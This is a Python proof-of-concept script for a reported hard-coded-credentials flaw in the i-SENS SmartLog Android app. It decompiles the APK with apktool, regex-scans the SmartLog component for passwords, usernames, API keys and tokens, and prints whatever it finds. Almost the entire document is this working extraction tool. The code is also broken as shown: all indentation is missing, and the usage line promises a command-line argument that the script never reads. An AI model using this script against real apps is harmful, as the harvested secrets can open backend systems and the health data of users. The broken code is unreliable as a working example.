# CVE-2026-4216 PoC - Hard-coded Credentials in i-SENS SmartLog App
# This PoC demonstrates extraction of hard-coded credentials from the APK
import subprocess
import zipfile
import re
import os
def extract_apk(apk_path, output_dir):
"""Extract APK contents using apktool"""
print(f"[*] Extracting APK: {apk_path}")
subprocess.run([
'apktool', 'd', apk_path, '-o', output_dir, '-f'
], check=True)
def search_hardcoded_credentials(directory):
"""Search for hard-coded credentials in decompiled source"""
print("[*] Searching for hard-coded credentials...")
patterns = {
'passwords': [r'password\s*[=:]\s*["\']([^"\']+)["\']',
r'PASSWORD\s*[=:]\s*["\']([^"\']+)["\']'],
'usernames': [r'username\s*[=:]\s*["\']([^"\']+)["\']',
r'USERNAME\s*[=:]\s*["\']([^"\']+)["\']'],
'api_keys': [r'api[_-]?key\s*[=:]\s*["\']([^"\']+)["\']',
r'API[_-]?KEY\s*[=:]\s*["\']([^"\']+)["\']'],
'tokens': [r'token\s*[=:]\s*["\']([^"\']+)["\']',
r'TOKEN\s*[=:]\s*["\']([^"\']+)["\']']
}
findings = []
for root, dirs, files in os.walk(directory):
for file in files:
if file.endswith(('.java', '.smali', '.xml', '.properties')):
filepath = os.path.join(root, file)
try:
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
for cred_type, patterns_list in patterns.items():
for pattern in patterns_list:
matches = re.findall(pattern, content, re.IGNORECASE)
if matches:
for match in matches:
findings.append({
'type': cred_type,
'value': match,
'file': filepath
})
except Exception as e:
continue
return findings
def search_air_smartlog_component(directory):
"""Search specifically in air.SmartLog.android component"""
print("[*] Analyzing air.SmartLog.android component...")
smartlog_path = None
for root, dirs, files in os.walk(directory):
if 'air' in dirs:
air_dir = os.path.join(root, 'air')
if os.path.exists(os.path.join(air_dir, 'SmartLog')):
smartlog_path = os.path.join(air_dir, 'SmartLog')
break
if smartlog_path:
print(f"[+] Found air.SmartLog component at: {smartlog_path}")
return search_hardcoded_credentials(smartlog_path)
return []
def main():
print("=" * 60)
print("CVE-2026-4216 PoC - Hard-coded Credentials Extraction")
print("Target: i-SENS SmartLog App <= 2.6.8 (Android)")
print("Component: air.SmartLog.android")
print("=" * 60)
apk_path = "SmartLog.apk" # Path to the APK file
output_dir = "decompiled_smartlog"
# Step 1: Extract APK
if not os.path.exists(output_dir):
extract_apk(apk_path, output_dir)
# Step 2: Search for hard-coded credentials
findings = search_air_smartlog_component(output_dir)
if findings:
print("\n[!] Hard-coded credentials found:")
for i, finding in enumerate(findings, 1):
print(f"\n[{i}] Type: {finding['type']}")
print(f" Value: {finding['value']}")
print(f" File: {finding['file']}")
else:
print("\n[-] No obvious hard-coded credentials found.")
print(" Manual analysis may be required.")
print("\n[*] Note: This PoC requires the target APK file.")
print("[*] Usage: python cve-2026-4216-poc.py SmartLog.apk")
if __name__ == "__main__":
main()